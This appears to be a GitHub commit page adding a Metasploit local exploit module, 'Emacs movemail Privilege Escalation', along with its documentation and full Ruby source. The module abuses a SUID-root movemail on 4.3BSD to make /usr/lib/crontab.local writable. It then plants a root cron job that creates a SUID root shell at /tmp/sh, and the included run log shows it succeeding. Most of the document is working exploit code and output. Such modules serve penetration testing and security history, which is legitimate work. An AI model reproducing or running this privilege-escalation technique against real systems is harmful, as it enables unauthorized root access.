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Land #11049, Add Emacs movemail local exploit

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busterb committed Dec 3, 2018
2 parents f51b031 + 4242de3 commit ffb57387b4513174f57c6587554ccd2ad5a6008c
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## Intro
This module exploits a SUID installation of the Emacs `movemail` utility
to run a command as root by writing to 4.3BSD's `/usr/lib/crontab.local`.
The vulnerability is documented in Cliff Stoll's book *The Cuckoo's Egg*.
## Setup
A Docker environment for 4.3BSD on VAX is available at
<https://github.com/wvu/ye-olde-bsd>.
For manual setup, please follow the Computer History Wiki's
[guide](http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH) or Allen
Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).
## Targets
```
Id Name
-- ----
0 /usr/lib/crontab.local
```
## Options
**MOVEMAIL**
Set this to the absolute path to the SUID-root `movemail` executable.
**CMD**
If your payload is `cmd/unix/generic` (suggested default), set this to
the command you want to run as root. The provided default will create a
SUID-root shell at `/tmp/sh`.
## Usage
```
msf5 exploit(unix/local/emacs_movemail) > run
[*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc
[*] Current shell is /bin/sh
[*] $PATH is /bin:/usr/bin:/usr/ucb:/etc
[+] SUID-root [redacted] found
[*] Preparing crontab with payload
* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh
* * * * * root rm -f /usr/lib/crontab.local
[*] Creating writable /usr/lib/crontab.local
[+] Writing crontab to /usr/lib/crontab.local
[!] Please wait at least one minute for effect
[*] Exploit completed, but no session was created.
msf5 exploit(unix/local/emacs_movemail) > sessions -1
[*] Starting interaction with 1...
ls -l /usr/lib/crontab.local /tmp/sh
/usr/lib/crontab.local not found
-rwsr-xr-x 1 root 23552 Nov 22 15:17 /tmp/sh
/tmp/sh -c whoami
root
```
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
def initialize(info = {})
super(update_info(info,
'Name' => 'Emacs movemail Privilege Escalation',
'Description' => %q{
This module exploits a SUID installation of the Emacs movemail utility
to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local.
The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.
},
'Author' => [
'Markus Hess', # Discovery? atrun(8) exploit for sure
'Cliff Stoll', # The Cuckoo's Egg hacker tracker
'wvu' # Module and additional research
],
'References' => [
%w[URL https://en.wikipedia.org/wiki/Movemail],
%w[URL https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg],
%w[URL http://pdf.textfiles.com/academics/wilyhacker.pdf],
%w[URL https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html],
%w[URL https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html],
%w[URL https://mailutils.org/manual/html_node/movemail.html]
],
'DisclosureDate' => '1986-08-01', # Day unknown, assuming first of month
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w[shell],
'Privileged' => true,
'Payload' => {'BadChars' => "\n", 'Encoder' => 'generic/none'},
'Targets' => [['/usr/lib/crontab.local', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'CMD' => 'cp /bin/sh /tmp && chmod u+s /tmp/sh'
}
))
register_options([
OptString.new('MOVEMAIL', [true, 'Path to movemail', '/etc/movemail'])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def bin_path
'/bin:/usr/bin:/usr/ucb:/etc'
end
def movemail
datastore['MOVEMAIL']
end
def crontab_local
'/usr/lib/crontab.local'
end
def crontab(cmd)
"* * * * * root #{cmd}\n* * * * * root rm -f #{crontab_local}"
end
# uname(1) does not exist, technique from /etc/rc.local
def is_43bsd?
cmd_exec('strings /vmunix | grep UNIX').include?('4.3 BSD')
end
# id(1) does not exist
def is_root?
cmd_exec('whoami').include?('root')
end
# test -u does not exist
def setuid_root?(path)
cmd_exec("find #{path} -user root -perm -4000 -print").include?(path)
end
def setup
super
vprint_status("Setting a sane $PATH: #{bin_path}")
case cmd_exec('echo $SHELL')
when %r{/bin/sh}
vprint_status('Current shell is /bin/sh')
cmd_exec("PATH=#{bin_path}; export PATH")
when %r{/bin/csh}
vprint_status('Current shell is /bin/csh')
cmd_exec("setenv PATH #{bin_path}")
else
vprint_bad('Current shell is unknown')
end
vprint_status("$PATH is #{cmd_exec('echo $PATH').chomp}")
end
def check
unless is_43bsd?
vprint_warning('System does not appear to be 4.3BSD')
end
unless file?(movemail)
vprint_bad("#{movemail} not found")
return CheckCode::Safe
end
unless movemail.end_with?('movemail')
vprint_warning("#{movemail} has an unexpected name")
end
unless setuid_root?(movemail)
vprint_status("Non-SUID-root #{movemail} found")
return CheckCode::Detected
end
vprint_good("SUID-root #{movemail} found")
CheckCode::Appears
end
def exploit
if is_root?
print_good('Session is already root, executing payload directly')
return cmd_exec(payload.encoded)
end
unless check == CheckCode::Appears || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
# outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666);
if file?(crontab_local)
fail_with(Failure::NoTarget, "#{crontab_local} already exists")
end
print_status('Preparing crontab with payload')
tab = crontab(payload.encoded)
vprint_line(tab)
# umask (umask (0) & 0333);
# (void) ftruncate (indesc, 0L);
print_status("Creating writable #{crontab_local}")
cmd_exec("(umask 0 && #{movemail} /dev/null #{crontab_local})")
unless writable?(crontab_local)
fail_with(Failure::NoAccess, "#{crontab_local} is not writable")
end
print_good("Writing crontab to #{crontab_local}")
cmd_exec("echo '#{tab.gsub("'", "'\\\\''")}' > #{crontab_local}")
print_warning('Please wait at least one minute for effect')
end
end

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